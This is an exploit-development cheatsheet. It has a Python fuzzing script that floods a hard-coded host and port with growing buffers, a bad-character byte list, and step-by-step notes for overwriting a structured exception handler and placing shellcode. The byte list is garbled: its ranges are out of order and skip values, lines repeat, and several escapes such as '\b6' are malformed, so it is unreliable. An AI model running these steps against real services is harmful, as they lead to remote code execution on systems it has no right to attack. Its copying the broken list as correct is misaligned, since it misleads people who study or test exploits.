

ExploitDev

Exploit Development Cheatsheet

[+] Fuzzing:

```
import socket

buffer = ["A"]
counter = 50

while len(buffer) <= 1000:
    buffer.append("A" * counter)
    counter = counter + 50

for buffstring in buffer:
    print "Fuzzing:" + str(len(buffstring))
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect( ("192.168.0.20", 5555) )
    sock.send(buffstring)
    sock.close()
```

[+] Bad Character Testing:

```
"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e"  
"\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe"  
"\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c"  
"\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b"  
"\xc3\xc4\xc5\xc6\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a"  
"\xb4\xb5\b6\b7\b8\b9\xba\xbb\xbc\xbd\xbe\xbf\x00\x01\x02"  
"\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68"  
"\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77"  
"\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86"  
"\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95"  
"\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4"  
"\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\x00\x01\x02\x03"  
"\xb4\xb5\b6\b7\b8\b9\xba\xbb\xbc\xbd\xbe\xbf\x00\x01\x02"  
"\xc3\xc4\xc5\xc6\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11"  
"\xd2\xd3\xd4\xd5\xd6\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"  
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef"  
"\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe"  
"\xff"
```

[+] Structured Exception Handler (SEH) Exploitation notes

- Crash the application
- Check SEH overwrite (view-seh chain)
- Find offset (!mona pattern_create <length>)
- Find certain SEH references to the cyclic pattern (!mona findmsp)
- Verify offset to NSEH (Next Exception)
- Find POP/POP/RET address with mona (!mona seh -cpb <bad chars>)
- Add short jump into payload to jump over SEH ("\\xeb\\x06" + 2 bytes of padding)
- Add shellcode to the payload
- Ensure existing padding to make sure the crash still happens.